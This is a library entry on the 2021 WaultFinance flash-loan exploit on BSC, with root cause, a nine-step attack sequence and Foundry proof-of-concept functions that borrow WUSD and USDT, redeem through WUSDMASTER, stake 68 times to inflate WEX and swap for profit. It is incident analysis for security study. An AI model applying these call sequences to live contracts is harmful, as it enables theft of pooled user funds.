# WaultFinance: flash loan price manipulation via WUSDMASTER redeem

Attacker flash-loaned WUSD, redeemed via WUSDMASTER to manipulate WEX price, then swapped WEX for USDT and repaid loan, profiting in BUSD.

- Payout: Real-world hack
- Severity: critical
- Program: WaultFinace
- Analysis by: DeFiHackLabs
- Disclosed: 2021-08-04
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-08/WaultFinance_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210804-waultfinance
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical technique:chained vuln:flash-loan vuln:oracle-manipulation

**Target:** WUSDMASTER contract and WEX/WUSD liquidity pools on BSC
**Root cause:** WUSDMASTER.redeem allowed large WUSD redemptions that manipulated the WEX price in the WUSD/WEX pair, enabling arbitrage.
**Steps:**
1. Flash loan WUSD from Pair1 (WUSD/BUSD) via `Pair1.swap(Pair1Amount, 0, address(this), new bytes(1))`.
2. In callback, approve WUSD to Master and call `Master.redeem(WUSD.balanceOf(address(this)))` to obtain USDT and WEX.
3. Flash loan 40M USDT from Pair2 (WBNB/USDT) via `Pair2.swap(40_000_000 * 1e18, 0, address(this), new bytes(1))`.
4. In callback, swap 23M USDT to WEX via Router.
5. Stake 250k WEX 68 times via `Master.stake(stakeAmout)` to further manipulate WEX price.
6. Swap all WEX back to USDT via Router.
7. Repay 40.121M USDT to Pair2.
8. Repay WUSD to Pair1 with `WUSD.transfer(address(Pair1), Pair1Amount * 10_000 / 9975 + 1000)`.
9. Swap remaining WUSD to BUSD for profit.
**Exploitation:** Attacker used flash loans from two pairs to obtain large WUSD and USDT, redeemed WUSD via WUSDMASTER to get WEX and USDT, then swapped USDT to WEX, staked WEX to inflate price, swapped WEX back to USDT at manipulated price, repaid loans, and kept BUSD profit.
**Insight:** Check if redemption or staking functions in master contracts can be used to manipulate token prices in AMM pairs, especially when large flash loans enable disproportionate impact.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test with flash loan and redeem**

```
function testExploit() public {
        // borrow WUSD
        Pair1Amount = WUSD.balanceOf(address(Pair1)) - 1;
        Pair1.swap(Pair1Amount, 0, address(this), new bytes(1));

        // WUSD to BUSD
        WUSD.approve(address(Router), type(uint256).max);
        WUSDToBUSD();

        emit log_named_decimal_uint("Attacker BUSD profit after exploit", BUSD.balanceOf(address(this)), 18);
    }
```

**waultSwapCall redeems WUSD and swaps Pair2**

```
function waultSwapCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        WUSD.approve(address(Master), type(uint256).max);
        // WUSD to USDT, WEX
        Master.redeem(WUSD.balanceOf(address(this)));
        Pair2.swap(40_000_000 * 1e18, 0, address(this), new bytes(1));
        WUSD.transfer(address(Pair1), Pair1Amount * 10_000 / 9975 + 1000);
    }
```

**pancakeCall stakes 68 times to manipulate price**

```
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        USDT.approve(address(Master), type(uint256).max);
        USDT.approve(address(Router), type(uint256).max);
        // USDT to WEX
        USDTToWEX();
        // stake to change Pair
        uint256 stakeAmout = 250_000 * 1e18;
        // Master.maxmaxStakeAmount();
        for (uint256 i = 0; i < 68; i++) {
            Master.stake(stakeAmout);
        }
        // WEX to USDT
        WEX.approve(address(Router), type(uint256).max);
        WEXToUSDT();
        USDT.transfer(address(Pair2), 40_121_000 * 1e18);
    }
```

